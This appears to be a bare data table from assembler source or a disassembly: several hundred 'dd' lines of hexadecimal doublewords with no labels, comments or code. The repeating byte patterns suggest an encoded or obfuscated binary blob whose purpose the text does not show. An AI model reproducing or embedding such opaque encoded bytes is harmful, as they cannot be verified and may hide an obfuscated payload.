dd 85136A6Bh, 7A7A79BAh, 0BE4FC575h, 0FB6A6BFAh, 7A9020BCh
dd 4DC6F77Ah, 7A7A79BAh, 0C7F39DABh, 858775B2h, 3302922Dh
dd 0BEF97A7Ah, 0ACFFF37Eh, 75858575h, 75723FCCh, 0FBB66FC5h
dd 6F796A6Bh, 6A6BFB96h, 437190F9h, 12590FAAh, 6A6BF025h
dd 85E57192h, 7EBEF985h, 0A6C7F72Ah, 2D85856Bh, 23526F85h
dd 0BEF96A77h, 7BA99372h, 6F857A7Ah, 6A7F4B8Ah, 0E7F2B9F3h
dd 858575AFh, 6BF04712h, 0E4A0926Ah, 0BEF98585h, 0C7F72A7Eh
dd 85856AA7h, 0DE6F852Dh, 0F96A7B5Bh, 0CC7572BEh, 0C575723Fh
dd 6BFB326Fh, 166F796Ah, 0F96A6BFBh, 0AA437E90h, 0C575270Fh
dd 6BFBEE7Fh, 0BA6FF16Ah, 0F76A6BFAh, 5F7E6A3Eh, 7A7A7A85h
dd 0A4FFF72Ah, 2A858575h, 926A0F85h, 7A7A715Ch, 1276BEF9h
dd 6A6BF053h, 85E40192h, 7EBEF985h, 0AFC7CC75h, 2D858575h
dd 75A4C7F7h, 0F72D8585h, 856AA7C7h, 0F72A2D85h, 856BA6C7h
dd 6F852D85h, 6A772352h, 756EBEF9h, 75723FCCh, 0FACE6FC5h
dd 6F796A6Bh, 6A6BFB5Eh, 437D90F9h, 6CFF75AAh, 757A7A7Bh
dd 0FBDE7FC5h, 0C5756A6Bh, 6BFA826Fh, 0F9AA7B6Ah, 855F7192h
dd 2A7A7A7Ah, 75A4FFF7h, 852A8585h, 6BF8BE4Fh, 70D2926Ah
dd 0BEF97A7Ah, 0F3981276h, 87926A6Bh, 0F98585E7h, 7F17EBEh
dd 6A0FF15Ah, 897B81F3h, 67C57529h, 6A6BFB32h, 0FB4E6FF1h
dd 26F76A6Bh, 85297969h, 852D5E0Fh, 0CC75660Fh, 8575AFC7h
dd 8DF32D85h, 756E0751h, 0FB464FC5h, 4F796A6Bh, 6A6BFBC2h
dd 537394F9h, 7A122D8Dh, 856A7F48h, 0F85620Fh, 0A4C7F752h
dd 2D858575h, 6AA7C7F7h, 2A2D8585h, 6BA6C7F7h, 852D8585h
dd 7723526Fh, 42BEF96Ah, 6BF85EDBh, 623F436Ah, 4332190Fh
dd 270F5A3Fh, 6BF3C412h, 0E708926Ah, 0BEF98585h, 216A127Eh
dd 0C5756A6Bh, 6BFB7E47h, 6E4FF16Ah, 0F76A6BFBh, 2D7F4D06h
dd 0F7520F85h, 8575A4C7h, 0C7F72D85h, 85856AA7h, 0C7F72A2Dh
dd 858775B7h, 526F852Dh, 0F96A7723h, 0FFF766BEh, 858775B7h
dd 0A6FFF72Ah, 2A85856Bh, 8A566F85h, 0BEF96A7Ah, 0B2CF8572h
dd 85858775h, 8575ACCFh, 7FC57585h, 6A6BFBB6h, 0FA9E7F79h
dd 92F96A6Bh, 2AA28D77h, 6BA6FFF7h, 752A8585h, 0F83E7FC5h
dd 92F96A6Bh, 7A102A7Dh, 234E6F85h, 0DE126A77h, 926A6BF3h
dd 8585AAD0h, 2A7EBEF9h, 7A766F85h, 0FFF36A7Bh, 858575AAh
dd 75ACCF85h, 6F858585h, 6A7B7A76h, 75B6FFF3h, 852A8585h
dd 8575AACFh, 763FF185h
dd 8562F12Ah, 7A7B7EE9h, 0AACF857Ah, 85858575h, 6B154E6Fh
dd 0B6CF856Ah, 85858575h, 6B154E6Fh, 0C6DFF76Ah, 25858775h
dd 0B9B32124h, 2B9FF32Fh, 2D2C292Ah, 0F17627F1h, 0A2F36A0Fh
dd 0C378BAF9h, 7A7A7A79h, 0D0D0D1C0h, 0AB988DD0h, 862FF390h
dd 9DBBADF3h, 6E2FF178h, 0CAD4330h, 93BA4B7Dh, 7A7A7B7Ah
dd 6BF32712h, 0E638926Ah, 2A238585h, 6B153A12h, 3D69926Ah
dd 4F917A7Ah, 720F852Ch, 85B0B892h, 72BEF985h, 6BFABADBh
dd 0B9533A6Ah, 8A7FC575h, 0F96A6BFBh, 3F797992h, 723FF372h
dd 6BFBC2DBh, 0AE7F796Ah, 0F96A6BFBh, 4EF77292h, 0FACADB7Ch
dd 0C5756A6Bh, 6BF86A6Fh, 0F9AA7B6Ah, 0B9437D92h, 0D6DBCC09h
dd 0F96A6BFBh, 0B9437892h, 7910020Ch, 6BFBCEDBh, 7E92F96Ah
dd 833FF72Ah, 4E6F852Ah, 296A7333h, 0F7720F85h, 852A833Fh
dd 73326E6Fh, 3FF72C6Ah, 32922A83h, 0F98585B0h, 0C5755ABEh
dd 6BFB1E7Fh, 6FC5756Ah, 6A6BFAE6h, 92F9AA7Bh, 0FB9437Ch
dd 7FC5756Eh, 6A6BFA82h, 0FB5E7F79h, 92F96A6Bh, 7C7EBC7Fh
dd 0FBC6DB47h, 7F796A6Bh, 6A6BFABAh, 0BC7F92F9h, 75477C7Eh
dd 0FB327FC5h, 0EF76A6Bh, 0C575794Ah, 6BF83A7Fh, 7292F96Ah
dd 6A6FC575h, 0F96A6BF8h, 6EF27F90h, 3ABA4B7Ch, 0B3212425h
dd 9FF32FB9h, 787696FBh, 2C297A7Ah, 7813922Dh, 0BA737A7Ah
dd 7843FE75h, 0FFBD7A7Ah, 85858786h, 7A7A7A85h, 8786FFF7h
dd 0F72A8585h, 85857BFFh, 6F852A85h, 6A7B5FDAh, 6BFB72DBh
dd 4E7F796Ah, 756A6BF8h, 8B7FFEC4h, 0F1858584h, 6BFBE66Fh
dd 7E90F96Ah, 720FAA43h, 933ABA4Bh, 7A7A7B89h, 6BF32B12h
dd 0E0A4926Ah, 0C5758585h, 6BFB426Fh, 7890F96Ah, 0EFF72A28h
dd 8585857Bh, 0B78B9228h, 0BEF98585h, 75B8F36Ah, 0FABE77C5h
dd 56DB6A6Bh, 0F76A6BFBh, 858B7BF6h, 0B0437A7Ah, 0BA4B720Eh
dd 7BD7933Ah, 3D127A7Ah, 926A6BF3h, 8585E0E2h, 0F8526FF1h
dd 90F96A6Bh, 0F72A287Dh, 85857BEFh, 0D6922885h, 0F98585B7h
dd 77F16ABEh, 6A6BFB8Eh, 8588BBFBh, 77797A7Ah, 6A6BFB0Ah
dd 720EB243h, 933ABA4Bh, 7A7A7B11h, 8782FFBDh, 7A858585h
dd 0FFF77A7Ah, 85858782h, 78FFF72Ah, 2A858584h, 8A3A6F85h
dd 38126A7Ah, 926A6BF3h, 8585E042h, 78EFF72Ah, 28858584h
dd 8A566F85h, 0E6DB6A7Ah, 0F96A6BFBh, 0F72A7992h, 85857BFFh
dd 0FFF72A85h, 85858478h, 0B743922Ah, 0BEF98585h, 266FF162h
dd 0FB6A6BFBh, 7A8581B8h, 0EAA437Ah, 3ABA4B72h, 7A7A8493h
dd 626F857Ah, 0F36A7323h, 0F3A14BBCh, 7FC5758Dh, 6A6BFACEh
dd 0FAEA7F79h, 92F96A6Bh, 7ECC7573h, 6FC5757Dh, 6A6BFBBEh
dd 1E77C575h, 7B6A6BFBh, 7390F9B0h, 0FE75AA43h, 7A7A7ACBh
dd 0B2F983F3h, 46FA3A85h, 830F7A7Bh, 878EFFF3h, 42128585h
dd 926A6BF3h, 8585E3E6h, 0F17EBEF9h, 6BFAA66Fh, 566F796Ah
dd 0F96A6BFBh, 2A287190h, 0B6D7922Dh, 0BEF98585h, 7A77F176h
dd 0FB6A6BF8h, 7A8580BBh, 0EB2437Ah, 7A7BC17Dh, 1B917A7Ah
dd 6BF35D12h, 0E324926Ah, 0C5758585h, 6BFB7E6Fh, 2A28386Ah
dd 0B603922Dh, 0BEF98585h, 0F1B8F36Ah, 6BFACA77h, 89BBFB6Ah
dd 757A7A85h, 0FB927FC5h, 0BB7B6A6Bh, 7F0EB043h, 9139A14Bh
dd 7FC5755Eh, 6A6BF872h, 3A6FC575h, 7B6A6BF8h, 7292F9AAh
dd 878EEFF1h, 807B8585h, 0AD7BBDF3h, 85855A93h, 6F852C85h
dd 6A73333Eh, 7F0EA173h, 913ABA4Bh, 25BA4B78h, 0B9B32124h
dd 1A9FF32Fh, 0C26A0FF1h, 6A7A281Ch, 7AC2FCF3h, 3FF17A7Ah
dd 0BEFCF376h, 1B7A7A7Ah, 4B2796F3h, 2FB9B9BAh, 96FB9FF3h
dd 7A7A7AEEh, 0F8FE47F9h, 0E7A6A6Bh, 3ABA4B7Fh, 0FFBD5591h
dd 85858516h, 7A7A7AEEh, 8516FFF7h, 852A8585h, 6B15526Fh
dd 6C7F96Ah, 78858585h, 7FBD700Fh, 6A6BF8FEh, 7A7A7A7Bh
dd 6BF8FEDBh, 2DB9B36Ah, 6BF36012h, 0E200926Ah, 2A238585h
dd 5FE26F85h, 1AD96A7Bh, 0DB6A6BF8h, 6A6BFB12h, 437892F9h
dd 6BF81A7Fh, 126D0F6Ah, 6A6BF377h, 85E22992h, 852A2385h
dd 7F48626Fh, 0F81AD96Ah, 84126A6Bh, 926A6BF2h, 8585E246h
dd 4F852A23h, 6A6BF81Ah, 5BD66F85h, 5AD96A7Bh, 256A7348h
dd 3A7BC2B9h, 62B8FA7Ah, 9FF32F7Ah, 7BD696FBh, 2C297A7Ah
dd 7207F12Dh, 0BD7A7DBCh, 858417FFh, 7A7AEE85h, 17FFF77Ah
dd 2A858584h, 15526F85h, 0C7F96A6Bh, 85858407h, 126F0F7Bh
dd 6A6BF282h, 85ED9992h, 852D2A85h, 7A8A566Fh, 76BEF96Ah
dd 8407C7F9h, 0F788585h, 0F288126Fh, 0BF926A6Bh, 2A8585EDh
dd 526F852Dh, 0F96A7723h, 9C1276BEh, 926A6BF2h, 8585EDCAh
dd 8403CF85h, 0CF858585h, 8585840Fh, 840BCF85h, 0F72A8585h
dd 85857BE7h, 6F852985h, 6A772352h, 857BFFF7h, 2D2A8585h
dd 8A566F85h, 0A5126A7Ah, 926A6BF2h, 8585ED02h, 0FB7267F1h
dd 91F96A6Bh, 0C5752972h, 6BFA8667h, 0C667796Ah, 0F96A6BFAh
dd 0F7297891h, 85841EE7h, 0E7F72985h, 8585841Eh, 1AE7F729h
dd 29858584h, 7A7A8512h, 7BE7F77Ah, 29858585h, 7A6F852Ah
dd 126A7323h, 6A6BF2ADh, 85ED5192h, 1ACF8585h, 2A858584h
dd 857BE7F7h, 85298585h, 7723526Fh, 7BFFF76Ah, 2A858585h
dd 566F852Dh, 126A7A8Ah, 7A7A7A85h, 857BFFF7h, 0DB2A8585h
dd 6A6BFB0Ah, 3A6FC575h, 7B6A6BF8h, 7392F9AAh, 7E7A122Ah
dd 6F857A7Ah, 6A7B5FD2h, 857BFFF7h, 2D2A8585h, 8A566F85h
dd 0A8126A7Ah, 926A6BF2h, 8585ECB2h, 6F852D2Ah, 6A7A8A56h
dd 8412FFBDh, 7A858585h, 0DF127A7Ah, 926A6BF2h, 8585ECD6h
dd 8422FFF3h, 0E2128585h, 926A6BF2h, 8585ECE6h, 8426E7F7h
dd 0F7298585h, 858412E7h, 0E7F72985h, 8585857Bh, 0E7F12A29h
dd 85858422h, 7A781229h, 0EC92FA7Ah, 0F985858Ch, 0BCF30ABEh
dd 0E27FC575h, 436A6BFBh, 0F7690FBCh, 85857BFFh, 852D2A85h
dd 7A8A566Fh, 72BEF96Ah, 0FFBD0291h, 85858412h, 7A7A7A85h
dd 6BF21212h, 0EC44926Ah, 0FFF38585h, 8585842Eh, 6BF22112h
dd 0EC54926Ah, 0E7F78585h, 85858426h, 12E7F729h, 29858584h
dd 857BE7F7h, 2A298585h, 842EE7F1h, 12298585h, 0FA7A7A78h
dd 858C5292h, 5ABEF985h, 0C575BCF3h, 6BF86A7Fh, 6FC5756Ah
dd 6A6BFBDEh, 92F9AA7Bh, 0FBC4370h, 7BFFF76Bh, 2A858585h
dd 566F852Dh, 0F96A7A8Ah, 242572BEh, 29B9B321h, 4FC5752Ch
dd 6A6BFB1Eh, 0FACA67F1h, 0B9FB6A6Bh, 147C4DC0h, 82CF66F3h
dd 0F16A6B20h, 6BFAEA4Fh, 7DBCF96Ah, 7E67C575h, 7B6A6BFBh
dd 67C575A4h, 6A6BFABEh, 3A6FC575h, 0F76A6BF8h, 0FD4C69E6h
dd 66F36434h, 6B20BACFh, 0CA4FF16Ah, 0F96A6BFAh, 4F7978BCh
dd 6A6BFA96h, 0FB2A67F1h, 0B9FB6A6Bh, 474F061Dh, 0BACF66F3h
dd 756A6B20h, 0FB464FC5h, 4F796A6Bh, 6A6BFB8Eh, 0FB5A67F1h
dd 0B9FB6A6Bh, 0FCE09209h, 0FB9E6779h, 66F36A6Bh, 6B20FACFh
dd 4FC5756Ah, 6A6BFA82h, 0F8424F79h, 67F16A6Bh, 6A6BFA9Ah
dd 45CB9FBh, 66F3C587h, 6B20CACFh, 0E677F16Ah, 0F96A6BFBh
dd 68917993h, 0EA4FC575h, 0F96A6BFBh, 4EF37294h, 6B20FAF7h
dd 0FEDB3B6Ah, 0F96A6BFBh, 7F7972BAh, 6A6BFBA2h, 0A608BB43h
dd 0D277C575h, 0F16A6BFAh, 6BFB664Fh, 4BBCFB6Ah, 7948473Dh
dd 6BFBFE4Fh, 0F74EF36Ah, 6A6B208Eh, 0BE77C575h, 0F16A6BFBh
dd 6BFAA24Fh, 0D9BCFB6Ah, 792A286Fh, 6BF8564Fh, 0F74EF36Ah
dd 6A6B20C2h, 0FBCA77F1h
dd 0C5756A6Bh, 6BFB624Fh, 8BBCFB6Ah, 0F360CA2Bh, 20B6F74Eh
dd 0C5756A6Bh, 6BFBBE77h, 4FC5756Ah, 6A6BFB42h, 4FF18B7Bh
dd 6A6BFB9Eh, 0FFB2BCFBh, 4F795274h, 6A6BFAE2h, 0C2F74EF3h
dd 756A6B20h, 0FB5277C5h, 4FF16A6Bh, 6A6BFB96h, 0B6A6BCFBh
dd 4EF399F9h, 6B20A6F7h, 5E77F16Ah, 796A6BF8h, 6BFB1A77h
dd 324FF16Ah, 0FB6A6BF8h, 10A7A0BCh, 0C24F79ADh, 0F36A6BFAh
dd 20CAF74Eh, 77F16A6Bh, 6A6BFADAh, 624FC575h, 0F16A6BFBh
dd 6BFADE67h, 64CEF76Ah, 6E827F73h, 96F74EF3h, 0F16A6B20h
dd 6BFB0277h, 1A4FF16Ah, 0FB6A6BFBh, 5E3A01BCh, 0F74EF3B6h
dd 6A6B20D2h, 0FB4E77F1h, 77796A6Bh, 6A6BFB96h, 0BCFBA4F3h
dd 610D9BA3h, 0B667C575h, 7B6A6BFAh, 0F74EF3A4h, 6A6B20BAh
dd 4277C575h, 0F16A6BFBh, 6BFB5E4Fh, 77BCF96Ah, 0FB124F79h
dd 4EF36A6Bh, 6B200EF7h, 77C5756Ah, 6A6BF83Eh, 0DE4FC575h
dd 0F16A6BFBh, 6BFBFE67h, 64CEF76Ah, 9B8D94E1h, 0DEF74EF3h
dd 0F16A6B20h, 6BF84277h, 7CBBF96Ah, 0FA927779h, 4FF16A6Bh
dd 6A6BFAAEh, 1E31BCFBh, 4F79A831h, 6A6BFBC6h, 0BAF74EF3h
dd 246A6B20h, 7BC2B921h, 0B8FA7A3Ah, 0F32F7A72h, 292A2B9Fh
dd 0FF12D2Ch, 7627F172h, 0F37A79BCh, 85B2F98Bh, 7B46FA3Ah
dd 0F3830F7Ah, 0C575863Fh, 6BFB627Fh, 79BDF36Ah, 6BFB2647h
dd 7695F96Ah, 0CC750A91h, 0BD436A3Fh, 7EF07108h, 0E554644h
dd 0F54467Eh, 0F22F1265h, 6B926A6Bh, 758585E9h, 28446ECCh
dd 832FF72Ah, 526F8528h, 0F96A7723h, 55916ABEh, 6BF22A12h
dd 0E888926Ah, 292A8585h, 8A566F85h, 32126A7Ah, 926A6BF2h
dd 8585E89Ah, 446ECC75h, 2FF72A28h, 6F852883h, 6A772352h
dd 0F766BEF9h, 292A833Fh, 8A566F85h, 0BEF96A7Ah, 7413D72h
dd 25F10886h, 0B9B32124h, 0FB9FF32Fh, 7A781696h, 0FFF72D7Ah
dd 85858486h, 7FC5752Ah, 6A6BFA86h, 2A7892F9h, 6BFB26DBh
dd 7E92F96Ah, 0DB66102Ah, 6A6BF85Eh, 0F8367F79h, 92F96A6Bh
dd 6F852A70h, 6A7F507Ah, 87E3FFF7h, 922A8585h, 8585CE51h
dd 1E607FF7h, 66D96A7Ah, 0F76A7723h, 7A3F4F7Fh, 200ED96Ah
dd 7FF76A6Bh, 6A7A1E60h, 7F4B9AD9h, 4A7FF76Ah, 0D96A7A31h
dd 6A7F4B8Ah, 6BF24F12h, 0E84C926Ah, 0C5758585h, 6BFB4647h
dd 7E47796Ah, 0F96A6BF8h, 0F72D7F95h, 858486C7h, 122A2D85h
dd 6A7B5ADAh, 23526F85h, 5C126A77h, 926A6BF2h, 8585E872h
dd 0FB3A47F1h, 47796A6Bh, 6A6BFADEh, 2D7895F9h, 87E3C7F7h
dd 0F72D8585h, 858486C7h, 122A2D85h, 6A73484Ah, 23526F85h
dd 7FF76A77h, 6A7B5ADAh, 73325AD9h, 4A7FF76Ah, 0D96A7332h
dd 6A7B75AEh, 37F07FF7h, 9ED96A7Ah, 926A7F53h, 85858199h
dd 6BFB02DBh, 122A3A6Ah, 6A7F487Ah, 85CED392h, 0F2681285h
dd 0E7926A6Bh, 0F18585EBh, 6BFB8E47h, 7995F96Ah, 86C7F72Dh
dd 2D858584h, 324A122Ah, 6F856A73h, 6A772352h, 7B759A12h
dd 832D926Ah, 85128585h, 926A6BFDh, 8585EB16h, 0FB3647F1h
dd 0BDF96A6Bh, 0C7F72D7Eh, 85858486h, 3A122A2Dh, 856A734Eh
dd 7723526Fh, 607FF76Ah, 0D96A7A1Eh, 6A7B7A6Eh, 4E3A7FF7h
dd 66D96A73h, 0F76A7A8Ah, 6B230A7Fh, 0F8BED96Ah, 0BC126A6Bh
dd 926A7A27h, 8585CBA6h, 7AAD8812h, 0CBA8926Ah, 41128585h
dd 926A7AC3h, 8585CBB2h, 0E67FC575h, 796A6BFAh, 6BFB8E7Fh
dd 7F92F96Ah, 7B5FAAD9h, 0F832DB6Ah, 7F796A6Bh, 6A6BFBBAh
dd 2A7E92F9h, 8787FFF7h, 922A8585h, 7A7A7E6Dh, 0DB02BEF9h
dd 6A6BFB16h, 0FAE27F79h, 0C6FA6A6Bh, 8587957Fh, 360F1E85h
dd 84FFC475h, 0F1858587h, 6BFB126Fh, 6CB8F96Ah, 0BE77C575h
dd 7B6A6BFBh, 0F2AA53B0h, 8587E2FFh, 7FC57585h, 6A6BF862h
dd 7B5FAAD9h, 0FFCC756Ah, 858587E2h, 0FADEDB2Ah, 7F796A6Bh
dd 6A6BFBB2h, 2A7592F9h, 85CC6292h, 72BEF985h, 7E7FC575h
dd 796A6BFBh, 6BFB367Fh, 7FC6FA6Ah, 85858781h, 0DB3F0F1Dh
dd 6A6BFB36h, 90F9B8F3h, 7FEEF278h, 8585847Fh, 8784FFF7h
dd 852A8585h, 7B7A666Fh, 0EEFFF36Ah, 2A858587h, 6B230A12h
dd 59B6926Ah, 0BEF97A7Ah, 0FA9ADB76h, 7F796A6Bh, 6A6BFAE2h
dd 0D97592F9h, 6A7B5FAAh, 2FB9B325h, 96F99FF3h, 2D2C2932h
dd 0F77227F1h, 6B20FA7Fh, 0C23FF36Ah, 3E7FC575h, 0F36A6BF8h
dd 0C24779BDh, 0F96A6BFAh, 74917195h, 98AB80F3h, 176F11Ch
dd 6F36F31Ch, 0C5753DBAh, 6BFB427Fh, 67BAF96Ah, 9E08BD43h
dd 6BFBC6DBh, 7C92F96Ah, 85C63FF3h, 3FF1C63Fh, 7ACD75C2h
dd 9C63F43h, 3FF72975h, 0FE922ABAh, 0F98585EFh, 999172BEh
dd 0FAC24FF1h, 94F96A6Bh, 0F36B917Eh, 0F198AB88h, 0F11C7637h
dd 1CBA6F2Eh, 3C0B6EF3h, 6BFB5ADBh, 62BAF96Ah, 9908BC43h
dd 0B3212425h, 9FF32FB9h, 293696F9h, 0C5752D2Ch, 6BF8627Fh
dd 0AE7F796Ah, 0F96A6BFBh, 3FF37292h, 0C2589186h, 7A7A7A4Ah
dd 0F3861F8Dh, 0C5759A3Fh, 6BF83E7Fh, 7D92F96Ah, 0F39A2FF1h
dd 4F2A6F7Eh, 3F856A73h, 0FACADB86h, 0BAF96A6Bh, 863F4325h
dd 0C575AB08h, 6BFAAA7Fh, 7C92F96Ah, 0FE6F852Ah, 126A7B5Ah
dd 6A6BF892h, 6BE0F212h, 0DB7D106Ah, 6A6BFBCAh, 2A7D92F9h
dd 6BE3B212h, 0AE6F856Ah, 0F36A7B5Fh, 0F85ADBB9h, 92F96A6Bh
dd 75B94378h, 7A7BD3FFh, 8E3FF77Ah, 0F892DB2Ah, 0F12A6A6Bh
dd 662D8542h, 7EDBB9F3h, 0F96A6BF8h, 0B9437892h, 5ADB770Fh
dd 0F96A6BF8h, 3F437892h, 937F0F8Eh, 7A7A7B7Bh, 0BE7FC575h
dd 796A6BFAh, 6BFA927Fh, 7D92F96Ah, 93823FF3h, 7A7A7AA7h
dd 0F3823FF1h, 0BD1CAA3Fh, 7A79B23Fh, 2ABE3FF7h, 0F9B20FF7h
dd 9DF36A96h, 7A7A7EC3h, 0F1DF897Ah, 6BF89247h, 45F12D6Ah
dd 0F35A2D85h, 0FA8ADBB9h, 7F796A6Bh, 6A6BFB16h, 437292F9h
dd 0EDFF75B9h, 0F77A7A7Ah, 122ABA3Fh, 6A6BE0D2h, 2ABE3FF1h
dd 6E8542F1h, 7A7A7A47h, 0DBB9F37Ah, 6A6BF856h, 0FAA27F79h
dd 92F96A6Bh, 0FB94377h, 9E7FF71Eh, 0F36A6BF8h, 0F12AA63Fh
dd 7E2C854Ah, 2AC63FF7h, 6BE39212h, 0A63FF16Ah, 8542F12Ah
dd 7A7A476Eh, 0B9F37A7Ah, 0FAC66741h, 590F6A6Bh, 2AC23FF7h
dd 6BE39212h, 0C60F856Ah, 92BA0F85h, 8585C037h, 0F36ABEF9h
dd 3FF1CE3Fh, 4AF12AC6h, 0F1722C85h, 0F12AA63Fh, 722C854Ah
dd 2ABA3FF1h, 2C854AF1h, 0BE3FF172h, 854AF12Ah, 3F85722Ch
dd 8E3FF182h, 75823F43h, 85856DF8h, 727FF785h, 0F36A6BF9h
dd 0F12A8A3Fh, 7E2C854Ah, 2A963FF7h, 6BE3A212h, 8A3FF16Ah
dd 854AF12Ah, 7A7A4F6Eh, 3FF17A7Ah, 4AF12A8Ah, 0F7722C85h
dd 122A9E3Fh, 6A6BE3A2h, 85960F85h, 6BF8924Fh, 0C3B5926Ah
dd 0BEF98585h, 923FF36Ah, 6BFB82DBh, 6FC5756Ah, 6A6BFBE2h
dd 92F9AA7Bh, 923F437Eh, 92DB620Fh, 2A6A6BF8h, 2C854AF1h
dd 0FB36DB72h, 92F96A6Bh, 0F892D978h, 24256A6Bh, 2FB9B321h
dd 96FB9FF3h, 7A7A7B7Eh, 86FFF72Dh, 2A858584h, 867FC575h
dd 0F96A6BFAh, 0DB2A7892h, 6A6BF85Eh, 0EE6FC575h, 7B6A6BFAh
dd 7992F9AAh, 720F852Ah, 6BFB5ADBh, 7292F96Ah, 7A6F852Ah
dd 0F36A7F50h, 0F8573BDh, 0FD801251h, 8F926A6Bh, 2A8585F6h
dd 8486C7F7h, 852D8585h, 7A8A566Fh, 107B106Ah, 86FFF739h
dd 2A858584h, 85B32092h, 62BEF985h, 0C2B9B325h, 0FA7A3A7Bh
dd 2F7A62B8h, 292B9FF3h, 0FF12D2Ch, 107A1072h, 1079107Ah
dd 127A107Ah, 0FA7A7A7Ah
dd 73484A12h, 626F856Ah, 0F36A6B11h, 8585F9BDh, 0A2DB650Fh
dd 0F96A6BFAh, 6FF17C92h, 6A6BFADAh, 0FBC66F79h, 90F96A6Bh
dd 7C6EF273h, 7A7AF393h, 757A107Ah, 0FBB67FC5h, 92F96A6Bh
dd 0F852A73h, 6F852D76h, 6A6B154Ah, 6BFBFEDBh, 6FC5756Ah
dd 6A6BFACEh, 92F9AA7Bh, 3FF72A73h, 0C5752A86h, 6BFB327Fh
dd 6FC5756Ah, 6A6BFB3Eh, 756A3EF7h, 852D2C2Ah, 7A8A4E6Fh
dd 2DB9F36Ah, 33326F85h, 0C5756A73h, 6BFB527Fh, 6FC5756Ah
dd 6A6BFB62h, 92F9AA7Bh, 0FB94377h, 0FAD6DB5Bh, 7F796A6Bh
dd 6A6BFB9Eh, 757192F9h, 0FABE6FC5h, 6F796A6Bh, 6A6BFACAh
dd 0F27190F9h, 24257C6Eh, 2FB9B321h, 0F2C29FF3h, 927A7B7Ah
dd 7A7A4CDBh, 122D2C29h, 6A6BFD96h, 85C5DF92h, 852A2385h
dd 7B7A766Fh, 0B23FF36Ah, 0BA3FBD1Ch, 3FF77A72h, 0FF72AAEh
dd 6A96F9BAh, 7EC39DF3h, 897A7A7Ah, 7607F1DFh, 8545F12Dh
dd 0B9F34A2Dh, 6BFBF2DBh, 7F92F96Ah, 7D0EB943h, 7093BA4Bh
dd 0F77A7A7Dh, 122AA63Fh, 6A6BE042h, 2AAE3FF1h, 6E8542F1h
dd 7A7A7A47h, 0DBB9F37Ah, 6A6BFA96h, 75B94332h, 7A7CA3FFh
dd 0A23FF77Ah, 0A63FF12Ah, 8542F12Ah, 0B9F35E2Dh, 6BFA9ADBh
dd 7C92F96Ah, 0FF75B943h, 7A7A7CCBh, 6BFB22DBh, 7992F96Ah
dd 939E3FF3h, 7A7A7CEFh, 0F39E3FF1h, 0BD1C8A3Fh, 7A78923Fh
dd 2A863FF7h, 0F9920FF7h, 9DF36A96h, 7A7A7EC3h, 0F7DF897Ah
dd 96F9920Fh, 0C39DF36Ah, 7A7A7A7Eh, 7F1DF89h, 45F12DA6h
dd 0F3562D85h, 0FB22DBB9h, 92F96A6Bh, 75B94379h, 7A7C33FFh
dd 0F87EDB7Ah, 0C5756A6Bh, 6BFAB66Fh, 0F9AA7B6Ah, 0FFF37992h
dd 858485C6h, 85C6FFF7h, 122A8584h, 6A6BE032h, 2A863FF1h
dd 6E8542F1h, 7A7A7A47h, 75B9F37Ah, 0FB467FC5h, 92F96A6Bh
dd 75B94373h, 7A7FABFFh, 0C6C7F97Ah, 7A858485h, 7FBEFE75h
dd 3FF77A7Ah, 0FFF12A9Ah, 858485C6h, 8542F12Ah, 7A7A82EDh
dd 73B9F37Ah, 0DDFF75A1h, 0F77A7A7Fh, 8485BBFFh, 0F852A85h
dd 0E1FB929Ah, 56DB8585h, 0F96A6BFBh, 122A7D92h, 6A7F487Ah
dd 85BBFFF7h, 922A8584h, 8585C7F1h, 0F16EBEF9h, 6BF87647h
dd 81BDFB6Ah, 797A7A85h, 6BF84247h, 7582436Ah, 7A7F1BFEh
dd 7FC5757Ah, 6A6BFB92h, 437C92F9h, 670F6A3Fh, 85C6FFF1h
dd 0F12A8584h, 722C854Ah, 2A863FF1h, 2C854AF1h, 3ABA4B72h
dd 7A7FF693h, 7FC5757Ah, 6A6BFBEEh, 0FBB27F79h, 92F96A6Bh
dd 0FEFFF373h, 0F7858485h, 8485FEFFh, 12122A85h, 0F16A6BE0h
dd 0F12A863Fh, 476E8542h, 7A7A7A7Ah, 0C575B9F3h, 6BFA827Fh
dd 7F92F96Ah, 0FF75B943h, 7A7A7E88h, 85D1FFBCh, 123E8584h
dd 6A6BFD98h, 85F3B992h, 47C57585h, 6A6BF862h, 524FC575h
dd 7B6A6BFBh, 7E95F98Dh, 0C7F72A2Dh, 858485BBh, 0C6B7922Dh
dd 0BEF98585h, 4FC5756Ah, 6A6BFBEAh, 858DBCFBh, 8A437A7Ah
dd 0FFBC7D0Eh, 858485D1h, 0FDA0122Ah, 7926A6Bh, 758585F3h
dd 0F87247C5h, 2A2D6A6Bh, 85BBC7F7h, 922D8584h, 8585C6E9h
dd 0F16ABEF9h, 6BFABA4Fh, 87BCFB6Ah, 437A7A85h, 0BC7D0E8Ah
dd 8485D1FFh, 0A8123985h, 926A6BFDh, 8585F33Eh, 0FA9647F1h
dd 47796A6Bh, 6A6BFB66h, 2D7895F9h, 0BBC7F72Ah, 2D858485h
dd 85C62892h, 6ABEF985h, 0FBCA4FF1h, 94F96A6Bh, 7BBDF379h
dd 0E6C7F38Dh, 0F3858485h, 8485CAC7h, 0CAFFF185h, 0FA858485h
dd 85BB7FC6h, 0E5C8584h, 0CAFF8572h, 91858485h, 0CAFFF192h
dd 0F1858485h, 6BFADE6Fh, 7D90F96Ah, 0BB7FEEF2h, 0F1858485h
dd 8485E6FFh, 7FFEF785h, 858485BBh, 666F852Ah, 0F36A7B7Ah
dd 8485FAFFh, 0FDB11285h, 0C3926A6Bh, 758585F2h, 0F83E47C5h
dd 47796A6Bh, 6A6BFBFAh, 2D7C95F9h, 0BBC7F72Ah, 2D858485h
dd 85C1BC92h, 6EBEF985h, 0FB0A4FF1h, 4F796A6Bh, 6A6BFBFAh
dd 7BBDF334h, 0E6C7F38Dh, 0F3858485h, 8485CAC7h, 0CAFFF185h
dd 0FA858485h, 85BB7FC6h, 0E5C8584h, 0CAFF8572h, 91858485h
dd 0CAFFF192h, 0F1858485h, 6BFB0E6Fh, 7D90F96Ah, 0BB7FEEF2h
dd 0F1858485h, 8485E6FFh, 7FFEF785h, 858485BBh, 666F852Ah
dd 236A7B7Ah, 85DEFFF3h, 4EDB8584h, 796A6BF8h, 6BF8767Fh
dd 7692F96Ah, 85FAFF43h, 0D8584h, 6BFAC6DBh, 0C2FFF36Ah
dd 91858485h, 0C2C7F12Bh, 0F3858485h, 789CBB84h, 526FC575h
dd 0F96A6BFBh, 6E437F90h, 7B6A9A4Fh, 0F1570E6Ah, 8485DEEFh
dd 4F6E4385h, 6A7B7A5Ah, 6EF0640Fh, 7B5BCA47h, 0D1EF406Ah
